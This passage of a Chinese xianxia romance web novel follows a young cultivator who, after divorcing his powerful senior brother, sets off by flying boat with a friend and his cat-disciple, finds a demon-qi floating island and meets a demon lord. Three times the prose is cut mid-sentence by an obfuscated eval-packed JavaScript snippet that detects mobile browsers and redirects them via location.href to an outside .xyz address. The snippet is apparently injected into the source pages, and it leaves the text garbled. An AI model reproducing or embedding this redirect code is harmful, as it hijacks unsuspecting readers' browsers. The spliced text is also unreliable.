晏烛朝着一处还算“秀丽”的地方走过去,那里也立了一块碑,旁边的野草都被清理得很干净,还种了不少漂亮的花。 晏烛让梨花去给那些花浇水,自己则在乾坤戒里找出四个果子在墓前堆好,然后磕了三个头。 “娘。”晏烛看着石碑上“晏追云”三个字,乖巧地叫了一声,又把自己要离开的事仔仔细细地交代了一遍,声音不大,语速很慢,像是怕躺在底下的人听不清似的,直到最后,他才加快了语速,“还有一件事要和您说,我跟小师兄和离了。” 但更多的他就没说了。 也不知道要怎么说。 他出生时身体不好,灵根更是检测不到,他爹找了相师寻求破解之法,相师却笃定他不是修炼的料,能到金丹就已是极限,这还是用最好的灵丹妙药供着才能达到的,但为了这么一个注定不会成材的人浪费那么多天材地宝属实没必要。 他娘为他这身体操碎了心,最后费了很大工夫才从古籍中找到一种特殊的道侣契,将他和闻肃尘的命连在一起。 结果现在他因为自己的小脾气说和离就和离,将来说不定连道侣契都要断掉,他娘要是知道,肯定会气活的。 想到这,他又有些心虚地补充了一句:“道侣契没断呢,我会等找到解决办法再断的,您不要担心。” 说得有模有样有勇有谋的,好像刚刚跟闻肃尘提出要断契的不是他一样。 晏烛又给娘亲磕了几个头,这才带着阿福回去找祁然音。 结果一踏进门,差点以为自己走错了。 看着被洗劫一空的房间,晏烛迟疑道:“祁家破产了,所以你准备卖我的家产还债?” “没,这不是怕你半道后悔想分家了。”祁然音把乾坤戒还给晏烛,“带点东西走,起码不亏。” 晏烛无语:“这又没什么值钱的,跟我来。” 他说着拉上祁然音就往外走,穿过长廊,来到了宫殿最深处,那里是一面墙。 祁然音立刻明白过来:“他的私库?” “唔……还有我。”晏烛说着抬手按在空白的墙面上,稍一催动元神,墙面上立刻浮出一个巨大的法阵,几息后一道仅能通过一人的门缓缓浮出,打开。 晏烛收回手,解释道:“这是用道侣契开的。” 祁然音:? 他一言难尽地看着晏烛:“你们道侣契居然没断?过家家?” “牵扯的东西很多。”晏烛道,“断了他就打不开这个门了。” 祁然音愣了一下,几息后反应过来他的意思:“这私库是你的?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234886|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 晏烛点头。 这种“锁”是以神魂碎片为钥匙,只认一个主,其他人想打开,需要主人通过媒介共享,比如血缘,比如道侣契。 “我们这趟出去,得拿些能自保的东西。”晏烛一边说着一边往里走,阿福紧随其后。 祁然音还在震惊中没回过神来,等晏烛走远了才连忙跟进去,然后又再次被里头的东西震撼了。 这私库极大,大约是设置了空间阵法,一眼过去根本望不到头,大小不同的架子和箱笼整齐排列,上头堆满了各种法器。 祁然音看得呼吸都慢了,走到其中一个架子前盯着上头的手链看,感慨道:“我一直都知道降雪仙尊有钱,但没想到这么有钱,这也太多东西了!” 晏烛看了一眼那簪子便拿起来递给祁然音:“这是小师兄自己炼的,你喜欢的话送你。” 他说完便转了个身,从另一个架子上拿了两件防御法器塞进乾坤戒,然后再一个平移,又往里塞了件能隐匿气息的法器,下手又快又准连思考都没有,不像在拿什么珍贵法器,像在逛店铺打折货架。 祁然音跟在旁边,忍不住道:“你就不怕我偷啊?” “你偷完出得去算你厉害。”晏烛说着指了指屋顶。 祁然音抬头看过去,就见顶上飘着无数法阵,什么功能的都有,只要他有一点歪心思,估计会当场神魂俱灭。 祁然音顿时老实,跟在晏烛后面开眼界。 晏烛在库里挑挑拣拣扫了一大堆东西进乾坤戒后,这才带着祁然音回到门口,往墙上一按,门边又浮出两道楼梯,一上一下。 晏烛指着上楼的楼梯:“你去拿点灵石,大都放在乾坤戒里了,你随便挑两个,再装点低级的,我在下面等你。” 祁然音听话地上去了,然后被上头一堆又一堆的灵石和一排排的乾坤戒震到失语。 他拿了两个往里看了一眼,全是极品灵石,再看看那堆等级比较低没资格进入乾坤戒的灵石山,开始一边往里装灵石一边思考要不要劝晏烛复婚。 等他装完灵石再去找晏烛,看见下头数不清的天才地宝后,他就不再思考了,快步走过去一把握住晏烛的手,深情道:“要不咱别离了,你跟他复婚,他养你,你养我。” 晏烛无语:“你不能被金钱蒙蔽双眼!” 祁然音抬手晃了晃食指,认真道:“我不能,但你可以!说真的,离了降雪仙尊,你要去哪找一个更好的!” 晏烛充耳不闻,拉着他出去了。 但祁然音还在喋喋不休,晏烛实在受不了,拉过阿福往祁然音面前一推,说:“我去把飞舟开来,你看着他。” 他说完就飞速逃了。 祁然音盯着被塞到手里的人形包袱,挑眉:“你刚刚不心动?不劝劝你师父?” 阿福没有回答,而是问他:“那些东西就能留住师父吗?” 祁然音闻言笑道:“怎么?我说是,你要去跟降雪仙尊说?” 阿福没有回答,而是朝晏烛离开的方向看了一眼。 要是可以,他就再去几个秘境。 5. 第 5 章 祁然音听晏烛要去开飞舟来,知道会是一艘小舟,但看见那竭力打扮过但依旧显得简陋的船时候还是略略无语。 他对走出来的晏烛说道:“这也太寒碜了点。” 像一艘小舟上放了个箱子,再盖个帽子,为了不显得寒酸还挂了几匹有些旧的布和不伦不类的流苏,丑得祁然音想闭眼。 他们这趟又不是出去逃难,何必挑一艘这么难看的船。 “小师兄说财不外漏。”晏烛解释道,“他送我这飞舟时让我自己打扮得朴素些,说这样才不会被人打主意,毕竟我修为不高,在外头还是要小心些。” 听到是闻肃尘送的,祁然音有一瞬怀疑了一下,那人对晏烛这么慷慨,怎么会送一艘这么一言难尽的船?但一想到闻肃尘那令人窒息的丧葬审美,他又觉得也合理。 但祁然音还是不想上去。 他说:“美人就该配花船,何况我们两个都是超级大美人,就算要低调些,那也不能毫无底线,实在不行用我的吧。” 晏烛没理他,拉着他的手就上了飞舟。 祁然音拼尽全力抵抗,然而阿福在后面帮着推,他根本拗不过这师徒俩,只能大叫着“不要”以示抗议,像被绑上花轿的大姑娘。 但等进了船舱内,祁然音的声音就息了。 无他,因为这艘丑丑的船内部其实别有洞天,虽然不算特别大,但容纳数十人宴饮绰绰有余,装修更是精致奢华,用最好的灵木的打造,再以为阵法融着花纹雕刻其上,好看又实用,地上铺了绒毯,顶上是一盏巨大的琉璃灯,四面并非封闭板壁,而是可灵活开合的镂空雕花窗,此时敞着,吹进来来的风撩动悬着薄如蝉翼的鲛纱,给外头寡淡的景色添了几分朦胧雅致。 祁然音一眼就爱上了这艘船:“这才是我们该乘的飞舟。” 晏烛解释道:“小师兄找人设计的,他说我若想和朋友出去玩,这飞舟既能代步又能待客,舱底还有寄灵人偶,琐事不用操心。” 祁然音哽住听见这话哽住了,盯着晏烛看了好一会才说道:“你们虽然和离了,但你的生活已经完全变成了他的样子。” 晏烛倒觉得没什么,说:“毕竟我们一起生活了很多年,哪那么快就能断干净,休息的地方在三楼,你自己上去。”他说着看向一旁的阿福,“我去驾船,你去把舱底的寄灵人偶启动了。” 阿福应了一声。 过了没一会,一艘飞舟从焚雪峰朝南边飞去。 那船虽然小,但焚雪峰是闻肃尘的住处,受到的关注总是要多一些,因而那飞舟一离开就被发现了。 有弟子立刻跑去找闻肃尘,说晏师叔跑了,语气着急,好像晏烛不是乘坐飞舟离开,而是偷了飞舟逃跑。 闻肃尘正盯着手中的卷轴看,他处理事情素来快,这回却看了好一会也没动作,拖得来报事的弟子都有点汗流浃背,心想他不就贪了一点点灵石,难道师叔这也看出来了? 他正犹豫着要不要自首,听见跑进来的弟子那话更是眼前一黑,瞪了他一眼,小声骂道:“你来添什么乱?” 那弟子却不觉得自己在添乱,义正辞严道:“小师叔没有许可擅用宗门的飞舟,这事可大可小,怎么就添乱了。” 这话刚说完,就被闻肃尘冷冷扫了一眼,带着一点威压,瞬间将那个弟子压得跪下了。 他情绪很少,难得流露出这么一点不悦,顿时吓得在场的人都忍不住发抖。 “那是他的。”闻肃尘放下手中的卷轴,“还有事?” 那弟子磕了个头,不敢说话了。 闻肃尘这才提笔在卷轴上画了两个圈,批下字后还给那个弟子,拿过下一卷来看,速度和先前一样慢。 他并非不能一心二用,只是那些寄灵人偶太久没用,说不准哪个就有问题,得仔细些检查。 寄灵人偶发出“咔”一声,脑袋忽然掉下来,“咚”一声掉在地上咕噜噜滚到角落又发出“咚”一声。 阿福看了一眼,见是零件松动,便去将人偶的脑袋捡回来,从乾坤戒里掏出替代的将人偶安好,确定没问题后才重新启动,又去检查下一个。 一个又一个模样精致的木偶从舱底走出,它们每人都长着一样的、笑眯眯的脸蛋,只是衣服并不相同。女人偶扎着不同的发髻,像公主,像丫鬟,像厨娘,像农妇,男人偶穿着不同的衣服,有书生,有将军,有商贩,有花匠,什么人都有,像是把一座小城里的人搬进了这里。 祁然音站在三楼朝下看了一会那些人偶跟真人似的在船上活动,叹为观止,忍不住又同身后的晏烛说道:“你真的不再……” “你好烦人。”晏烛皱眉撇了他一眼,“我才不想再看见那块木头,我就想找些年轻会玩的,找一百个!” 这句话正好人被上楼的阿福听见了,他走到晏烛身旁坐下,拿过桌上的灵果剥开,将果肉递到晏烛唇边。 晏烛张嘴吃下,酸甜的汁水在口中爆开。 他正想阿福让自己吃一口,就听阿福小声问他:“师父要给我找新的师娘吗?” 晏烛当场被没咽下的果肉噎住,重重咳了几声。 阿福连忙起身在他背上拍了拍,动作很轻。 晏烛捂着嘴,看着阿福那张脸,耳根有些发红。 虽然阿福其实已经是只成年的大猫猫,但盯着这张十二三岁的脸,晏烛还是有种带坏小孩的心虚,何况他还长了一张和闻肃尘相似的脸。 “没、没呢。”晏烛干咳了一声,正色道,“小孩子不要问这些奇怪的话。” 阿福“噢”了一声,重新在晏烛身旁坐下,伸手捏住他的衣角,问道:“新师娘会喜欢我吗?” 晏烛想到他刚才落在自己背上那轻得有些小心翼翼的的动作,再看看徒弟现在这个有些紧张和委屈的表情,晏烛这才反应过来他是在担心那个没影的“师娘”会不喜欢他。 坊间都说有了后娘就会有后爹,阿福会担心也正常。 晏烛立刻伸手揽住他的肩膀,安慰道:“不会的,不管我跟谁在一起,你都是我的徒弟呀。” 阿福看了一眼搭在自己肩上的手,声音低了些:“师父只会有我一个徒弟吗?” 晏烛一愣,旋即笑了,伸手捏捏他的耳朵,问道:“你不会是吃醋吧?” 阿福抿了一下唇,小声嘟囔道:“不行么?” 看阿福用这张脸说着这种撒娇一样的话,晏烛是拼尽全力也无法抵抗,他抬手捂住阿福的脸,有些不好意思道:“你不要用这张脸说这种话啦。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234887|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿福鼻子里发出一声轻哼:“师伯才不会说这种话。” “就是不会才不好意思呢。”晏烛道,“这种反差很让人受不了。” 阿福道:“那师父是喜欢师伯的吗?” 晏烛伸手去捏他的脸,笑道:“你个小猫咪问这些做什么呀?你又不懂,成天就知道玩,等你将来找到喜欢母猫就知道了。” 阿福绷起脸:“不找母猫。” 他这严肃的模样越发像闻肃尘了。 晏烛只能从乾坤戒里掏出一把扇子挡住他的脸,说:“你不找母猫,想找个什么?说起来我好像没看过你的发情期呢,你不会已经在外面有小母猫了吧?” 阿福却不答了,身子一低,重新化成猫咪跳到晏烛腿上,抓着他的衣服往上攀,用毛茸茸的脑袋去拱他的下巴。 晏烛顿时乐了,抬手摸了摸他的毛脑袋,说:“你怎么每回害羞都这样,我是不是不该把你交给小师兄照顾?不止跟他学了剑,还学了这不会张嘴的毛病。” 阿福闻言身子一僵。 晏烛叉起小猫咪的腋下拎起来,毛茸茸的身体立刻像水一样往下流。 他晃了晃手中的猫条,笑道:“不过你还是比小师兄可爱,但凡小师兄有你十分之一……” 话没说完,晏烛声音却是一顿,后面的话他没再说下去。 阿福闻言追问道:“如果师伯跟我一样,师父还会和离吗?” 晏烛想了想,很轻地摇了摇头:“不知道,但小师兄应该没有这一天,他可是降雪仙尊呢。” 阿福闻言挣了一下,靠上去用毛脑袋蹭他,不说话了。 晏烛摸了摸他油光水滑的皮毛,这才拍拍他的小屁股,说:“自己玩去吧。” 阿福却不肯,依旧赖在他腿上不走。 晏烛见状也不赶他了,而是将它抱起来,说:“那我们去睡会。”他说着,看向还在看人偶的祁然音,“你呢?” 祁然音摆摆手,朝他露出一个有些暧昧的笑:“我昨晚又没累着,不需要休息。” 晏烛耳根一热,瞪了他一眼:“不要带坏我徒弟。” 他说着便抱着阿福回了房间,拿了条毯子在床头堆了个窝,将阿福放上去,自己也上床躺下。 修仙之人身体并没有那么孱弱,何况他跟闻肃尘的床事没那么激烈,身体根本没什么不舒服的。 不过他也没什么事干,于是往眼睛一闭,很快就睡着了。 等确定他呼吸变得绵长,蜷在床头的白猫才缓缓睁开眼,往床上一跃,金色的眼眸盯着床上的人。 晏烛睡着的样子很乖,长而翘的睫毛随着呼吸颤抖,脸颊上的肉因为侧躺压成一摊饼,红润的嘴唇微撅,看上去像一颗水灵灵的樱桃。 白猫凑过去,有些冰凉的嘴碰了一下那两瓣唇,下一瞬,闻肃尘的身影便出现在了床边。 带着薄茧的手指在晏烛脸上轻轻蹭了蹭,用很轻的声音问他:“我要是有阿福的十分之一……” 话未说完也是一顿,像是单纯在重复晏烛的话,又像是不愿意细想接下去的内容。 闻肃尘又弯下腰去,正想再亲一下晏烛,却感觉地面很轻地晃了一下,紧接着又是一声巨响,像是船撞到了什么东西。 6. 第 6 章 闻肃尘在造这艘飞舟时自然考虑到了撞击的情况。 飞舟自带避障的功能,但天上东西那么多,有时候并不能完全避开,一般的小东西撞到就撞到了,不会有什么动静的。 但现在整艘飞舟都在抖,还发出这么大的声音,说明撞到的东西并不小。 这是在提醒飞舟上的人。 果不然,晏烛在那动静响起后没多久就睁开了眼,然后对上了一双金色的猫眼。 晏烛抬手摸了摸它的脑袋,声音带了点刚睡醒时的低哑:“出事了?” 他一边说着,一边坐起身伸了个懒腰,这才朝外走去,正好看见匆匆准备下楼的祁然音,便叫住他:“急什么?” “当然急。”祁然音皱眉,“这动静怕是撞到不小的东西了,那个大小飞舟不可能不躲开,说明是那边主动撞上来的,要是妖兽就麻烦了。” 晏烛却依旧不担心,抱着阿福施施然走过去,拍拍他的肩膀,说:“这可是小师兄给我的。” 闻肃尘的名字对许多人来说就是强的代名词,对祁然音也不例外,听见晏烛这话他也安定一些,跟着晏烛一起朝外走去。 一走出门,映入眼帘的就是一座浮岛。 那岛也很大,比晏烛住的焚雪峰还要大上许多倍,在这天上就像一只巨兽,而他们这艘小船在它面前,就是一只小虾米。 晏烛站在船头看过去,连浮岛的边缘也看不见,忍不住感慨了一句:“真的好大,这么大的岛,上面的门派应该不小吧?” 他说着正想转头跟祁然音讨论一下,却见他神色有些紧张,阿福更是已经化了人形,手按在腰间的剑上,弓着背,看上去竟是一个警惕的姿态。 晏烛不解:“怎么了吗?” “这附近不可能有门派。”祁然音解释道,“宗门之间总会有资源争夺,一般小宗门是不会在建在大宗门附近的,毕竟抢又抢不过,只能看人眼色,还不如去贫瘠一点但不用竞争的地方。这里刚出明心宗的地界,要是真有什么宗门,那也是附属的门派,在这种地方胡乱拦路过的飞舟,不怕被告到明心宗吗。” 晏烛从来没自己出过门,对这些不了解,似懂非懂地“噢”了一声:“没宗门不是更好,你们紧张什么?” “有结界。”阿福解释道,“结界内有魔气。” 晏烛一愣,闭眼放出神识探了探,还真探到了一点魔气,有点惊讶:“你们鼻子好灵。” 祁然音被他这无畏放松的姿态气笑了。 他修为比晏烛高出不少,自然比他敏锐一些,阿福虽然不比他,但妖族五感本就比人修灵敏,会察觉到也不稀奇。 “那要去看看吗?”晏烛问道,“我感觉里面没什么危险。” 祁然音瞥他:“你的直觉?” 晏烛点头:“焚雪峰上有一块禁地,里面也充满了魔气,是我用来种魔界那边的灵植的,这座岛给我的感觉和那个地方很像。” 阿福闻言边点头:“那去看看。” 祁然音顿时无语,连忙阻拦:“去什么去?小烛没在外面行走过犯傻就算了,你难道和他一样?不行!” 晏烛不解地看着祁然音。 祁然音只好解释道:“这么大的东西飞舟没避开,要么是这浮岛主动撞过来的,要么是这岛的气息被隐藏了飞舟检测不到,还有结界罩着不让魔气外泄,无论哪个都明显是有人故意为之,岛上指不定有什么陷阱,现在应该先上报明心宗,让那边派人来解决。” 晏烛皱眉:“我才不要去找小师兄,你自己联系他。” 祁然音脑壳昏:“现在是说这话的时候吗?” 晏烛低下头,心虚抠手,声音也小了许多:“可是又没危险。” 祁然音还想教训他几句不知人间险恶,但站在他身旁的阿福却也开了口:“多带些法器就好了,这里离明心宗不远,如果遇到危险,师伯过来也就瞬间的事。” 祁然音便不说了。 因为他也觉得有点道理,只是还有点犹豫。 晏烛见状立刻靠过去挽住他的手臂,水汪汪的桃花眼可怜巴巴地看着他。 一句话没说,但已经击破祁然音的防线,他头疼地点点头:“去可以,但上去后一切都得听我的,有一点危险就立刻离开。” 晏烛欢呼一声,立刻开始从乾坤戒里往外掏法器,防御的,攻击的,反伤的,净化魔气的,甚至还有为了逃跑准备的瞬移法器。 “这个会把我们带回焚雪峰,你不用担心。”晏烛安慰了他几句,便拉上他上了浮岛。 那层罩子一样的结界并没有阻止他们,好像它的作用真的就只是阻隔住魔气。 轻松穿过结界,祁然音松了口气,但提起的心还没来得及放下,就被岛上的魔气呛了一下,捂着口鼻重重咳嗽起来。 晏烛见状立刻又往他腰上挂了一块净化魔气的玉佩,摇头道:“你怎么这么脆皮呀。” 祁然音闻言瞪了他一眼:“我可从来没去过魔界,你们不难受?” 晏烛摇头:“还好,就是刚进来那一下不舒服。” 阿福也道:“我偶尔会帮师父浇水。” 祁然音没想到三个人最先出问题的居然是自己,一时有些无言,撑着晏烛的肩膀喘了好一会才缓过来,这才观察了一下四周的情况。 灵气是白色的,魔气是黑色的,只是在到达一定浓度前肉眼并不可见,但这座浮岛此时却像是蒙了一层厚重的黑纱。 祁然音抬手晃了晃,就见魔气随着他的动作被搅动出几道痕迹,足见魔气有多浓。 这种环境是很容易滋生魔物的。 祁然音从怀中拿出一把折扇,那是他的本命法器。 和他的紧张相比,晏烛显得很轻松,甚至还蹲到旁边拔起一株草给祁然音看:“是奔蛊草。” 祁然音看了一眼他手中的东西,那植物也就巴掌大小,开着小小白花,像是修真界随处可见的小野花,不像魔界能长出来的。 听他对这花的评价,晏烛好奇道:“你觉得魔界长出来的花应该是什么样的?” 祁然音闻言扭着脑袋四处看了看,最后目光落在不远处,那里生长着一片小腿高的植物,没有叶子,光秃秃的枝干上是一大簇一大簇黑色的花,花也不是正常的花,而是瘪瘪的,像是被火烤过。 “这是七鬼花。”晏烛走过去也拔了一簇,给祁然音展示,“奔蛊草就是拿来做蛊的,很万用,做什么都好,七鬼花能做伤药,天品的七鬼花做出的丹药可好用了,只要不是致死的伤都能快速恢复噢!” 祁然音哽住:“长成这样,还叫这么个名字,做伤药?” “因为这种花只有魔界的七鬼城有,所以才叫七鬼花。”晏烛一边说一边将那些花往乾坤戒里薅,“我之前也试着种过,虽然种活了,但只能种出黄级的东西。” 天材地宝的品阶大部分都分天地玄黄四个等级,祁然音知道晏烛很会伺弄花草,一样的植物,他能种出的品阶都比别人高,就算是同品阶的,品质也会稍微好一些,他种不出好的,那就说明的确很难。 祁然音还在警惕,但晏烛已经像来到了乐园,蹲在地上就开始往乾坤戒哐哐扔灵草,阿福也在旁边帮他拔。 大概是经常帮忙,他手法很娴熟,拿着一把小铲子往地上一杵一撬就是一株草,速度快的同时还小心地没伤到根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234888|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 祁然音不擅长做这些,干脆当起护卫,把神识放了出去。 但这座岛上实在安静得可怕,他神识所及之处连半点生物的气息都没找到,只有许许多多他没见过、或者见过但不认识的植物。 这里的确没有危险,甚至对晏烛来说是个宝地。 祁然音松了口气,把情况跟晏烛解释了一下,又说道:“我再去附近看看,你们两个小心一点,有事立刻就跑。” 晏烛答应一声,祁然音便离开了这座浮岛,准备去附近看看。 晏烛则跟个土匪似的四处挖草,一副要把这岛搬空的样子。 阿福跟在后面,说道:“师父不如将这岛要了。” 修仙界这种无主的浮岛很多,或一直停着,或四处乱飘,前者大都巨大,适合开宗立派,后者一般比较小,只要不伤到人,一般不会有人管,就像没人会特地去清扫路边的石头。 “这么大还会飘动的浮岛很少见。”阿福解释道,“这些魔气正好做天然的屏障,不怕有人偷。” “但是要控制一座岛很麻烦。”晏烛道,“尤其这种浮岛,要么用灵力控制着,要么用阵法稳住,都很麻烦。” 阿福却是指了指他手上的乾坤戒,说:“师伯有个法器可以把这种浮岛收起来,那东西放在一个红色的盒子里,面上有岛屿的花样。” 晏烛闻言一愣,有些狐疑地看着他:“你怎么知道?” 阿福面不改色解释道:“听师伯说过,他怕以后你没地方种东西,可以再找个新的岛。” 晏烛便在乾坤戒里翻找起来。 他的戒指跟闻肃尘是对戒,和道侣契绑定,虽然有分别的空间,但他们也能直接拿到对方的东西。 他的乾坤戒内乱得很,除了法器跟一些生活用品,就是一堆没什么用的可爱小垃圾,但闻肃尘的却收拾得很整齐,所有东西都分门别类放着,找东西很容易。 晏烛在里头看了看,最后在一个角落里找到了阿福说的东西,拿出来给他看:“这个?” 阿福点头,从里头拿出两个法器,一个像块罗盘,一个像一颗巨大的明珠。 他熟门熟路地启动罗盘,往地上一放,就见一条直线从浮岛的边缘缓缓往前划去。 阿福解释道:“这个罗盘可以测算这个岛的大小,找到最中间的点,把这个珠子埋在中心,岛上会自动撑开法阵的。” 晏烛看他说得头头是道,狐疑地看着他:“你很熟啊。” 阿福面不改色地“嗯”了一声:“听师伯说过。” 晏烛更奇怪了:“他对着你的时候话还挺多。” 阿福不说话了。 但晏烛已经皱起眉,不爽道:“那他和我在一起的时候跟个哑巴似的。” 阿福连忙解释:“师伯也不跟别人多话。” 晏烛抱起手看他:“我是别人?” 阿福哑然。 他不是要帮晏烛处理这件事的吗,怎么莫名其妙给自己揽了个送命题。 看着晏烛气呼呼的模样,阿福一低身,变成猫猫走到晏烛腿边蹭他的衣摆,发出细细软软一声“喵”。 晏烛顿时心软了,弯腰将小猫抱起来,摸了摸他的脑袋:“对不起呀,不该冲你的,等回去……不对,我们已经和离了,他爱跟谁说话就跟谁说话,我也可以去找别人,找个话多嘴甜的,天天哄我!” 听见这话,远在明心宗的闻肃尘手一抖,手中的卷轴便被撕了一大道口子。 他抬手揉了一下耳朵,阿福便金色的眼眸中细细的瞳孔一点点放松,变得圆圆的,巴巴地看着晏烛,嘴里发出一声有点委屈的“喵”:“一定要找吗?” 7. 第 7 章 没人能受得了猫猫撒娇,晏烛也不例外。 一听阿福这话晏烛就忍不住顺着他话里的意思去说:“放心,就是玩玩。” 渣言渣语的,听得阿福耳朵都飞了:“那你要找多少个?” 晏烛迟疑了一下:“如果有很多生得俊的,也不是不能考虑多一点。” 阿福立刻又用脑袋拱他,嘴里发出喵喵咪咪的声音,听上去可怜得不行。 晏烛被蹭得心软软,小声安慰道:“那我答应你,不跟别人成亲了?” 阿福还是不乐意,睁着圆溜溜的眼睛看他:“师父被流昙上人带坏了。” 流昙上人就是祁然音,他在修真界是有名的风流,换男人如换衣服,就连修炼的也是类似采补的功法,是祁家的一道浊流,不过在有合欢宗在,他在正道也显得没那么奇怪。 “不准背后说人坏话。”晏烛伸手点点阿福的脑袋,“大人的事你少管。” 阿福拿后脑勺冲他,不说话。 晏烛见状又好气又好笑,伸手捏捏它的耳朵,恶狠狠道:“我是你师父,轮不到你管!” 阿福扭头:“那师伯呢?” “我们已经和离了,现在他也管不着。”晏烛道,“要是不和离,我怎么好出去找新人!” 阿福却不想继续这个话题了,心说有他在,绝不可能让晏烛找到新人。 于是它脑袋扭过另一边,伸出毛茸茸的爪子随便指了一棵树,问道:“那是什么?” 晏烛顺着他指的方向看过去,眯了眯眼,但魔气太浓看不清楚,只能抱着阿福走过去。 一靠近,阿福就落地化了人形,从树上摘下一个果子看了看,长得像橘子。 他将灵果递给晏烛:“有点眼熟,能吃吗?” 晏烛看了一眼,点头:“我以前种过,可以吃。”他说着看阿福想咬一口,才接道,“吃完就不能找小公猫了。” 阿福闻言动作一顿,疑惑地看他。 “这东西叫金榴花果,也叫孕果,我以前的确种过。”晏烛接过那个果子晃了晃,解释道,“男子吃了孕果能怀孕,女子若是不孕也能治疗,金榴花果不少见,但孕果却很少,只有黄泉旁的生长金榴花树才可能生出来,普通的金榴花果只能强身补气,所以放心吃吧。” 阿福看他:“师父种的就是金榴花果?” 晏烛闻言顿时露出一个得意的表情:“那不是,我特地让小师兄去帮我取了黄泉水,所以那金榴花果虽是在焚雪峰长的,却是真正的孕果。” 闻肃尘自然记得这件事的事,对晏烛要的东西,他从来不多问,倒没想到是用来种这种东西的。 晏烛种这个做什么? 他这个念头在他心头泛起一点涟漪,他迟疑地问道:“师父怎么想种这个?是……是想跟师伯要个孩子……?” “怎么可能。”晏烛乐道,“是有人托我种的,孕果并不常见,他在黄泉边没寻着,就想让我试试能不能种出来。” 而晏烛也的确做到了。 “我把果子卖给他后就没管了,现在焚雪峰上长的都是普通的金榴花果了。”晏烛解释道,“这个挺好吃的。” 阿福便把果子剥开,分了一半给晏烛。 长得像橘子,味道也像,酸酸甜甜,是蛮好吃的。 他的确在焚雪峰吃过。 吃完半个果子,晏烛便拍拍手,准备拉上阿福继续去浮岛的中心,但手刚碰到阿福,他就感觉阿福身子一压,手按在腰间的剑上,整个人像是炸毛了。 晏烛有些疑惑:“怎么了?” “有人。”阿福低声解释道。 晏烛闻言手也按住了手上的法器,压低了声音:“然音明明说岛上没人。” 阿福点头。 祁然音没发现,他也没发现,要么对面的修为比他们两个都高,要么对面是可以借着这魔气弥漫的环境掩盖气息的……魔修。 一个人影出现在不远处。 随着那影子一点点靠近,逐渐变得清晰,阿福已经开始在心里算着明心宗到这边的距离了。 他拇指一错,剑身出鞘一寸。 就在他准备拔剑的时候,一旁的晏烛却笑着喊了一句:“怎么是你?” 阿福紧绷的身影顿时松懈些许,微微偏头:“认识?” 晏烛点头,伸手拍拍阿福紧绷的背:“认识,以前去过焚雪峰的。” 阿福这才将刀收回。 他以为去过焚雪峰,那来的至少他是认识的。 但在那个人影走近后,他的眉头就紧紧皱了起来,原本放松的神经又再次紧绷起来。 来人他的确是认识,却不是在焚雪峰上见过,而是在通缉令上见过。 三百年盗取穿云门宝物、杀了两个长老后销声匿迹,百年前重新在魔界露面,一出现就杀了七鬼城城主取而代之,现今魔界九个魔尊之一的—— “空浮。”晏烛走过去,拍拍来人的肩膀,一副跟他哥俩好的样子,“你怎么会在这?” “来找你玩啊。”空浮笑着应了一句,他生了一副好皮相,面如冠玉,眉目疏朗,笑起来眼弯弯的,一副儒雅风流的贵公子模样,很是讨喜,“路过时发现这边魔气浓郁,便来看看,没想到明心宗附近还有这么个地方。” 晏烛点头,笑道:“所以我要把这座岛据为己有!” 空浮闻言挑了一下眉:“那我帮你。” 晏烛摆摆手:“不用,小师兄给了我个法器。” 空浮闻言眯了一下眼:“又是你的小师兄,他居然舍得放你出来?” “你这话说得,好像他关着我似的。”晏烛笑道,“我们和离了,他现在管不着我。” 空浮眼中浮起笑意,声音也放缓了些:“和离?为什么?他可是正道第一人,就这么和离了,不可惜?” “可他……”晏烛本想说无趣,但这种话在祁然音面前说就说了,在外人面前他还是不愿意说闻肃尘的坏话,于是舌头打了个转,改口道,“和我合不来。” 空浮也没再问为什么合不来,而是问道:“那什么样的和你合得来?” 晏烛想了想,说:“有趣的。” 空浮眼睛顿时弯起来:“你这趟出行,怕是会无聊,不如我陪你四处走走。” 晏烛正想答应,就被阿福拦了话头:“不必,我自会陪着师父。” 空浮目光转向他,盯着他的脸看了几息,警惕地眯起眼:“你倒是和闻肃尘生得像,是他儿子?” “是我徒弟。”晏烛连忙解释了一句,“是只小猫。” 空浮看他的眼神便换上了友好的笑。 但这种笑却让阿福有些不悦,他走过去拉住晏烛,说:“师父,我们该走了。” “哦对,不然一会然音回来看见我乱跑要生气的。”晏烛应了一声,又看向空浮,“你要有事就去办吧,不用管我。” 空浮一摊手:“我本就是来找你玩,能有什么事,这地方魔气弥漫,说不得就生了魔物,我跟着过去,也好保护你们。” “不必了。”阿福拒绝道,“师父有我保护。” 空浮挑眉:“你这点修为能做什么,真有魔兽来,一口就把你吞了。” 话音刚落,一点寒芒闪进他余光,他立刻抬手挡住,骇人的剑气顿时散被捏散,像一阵罡风搅得四周的魔气都退避三舍。 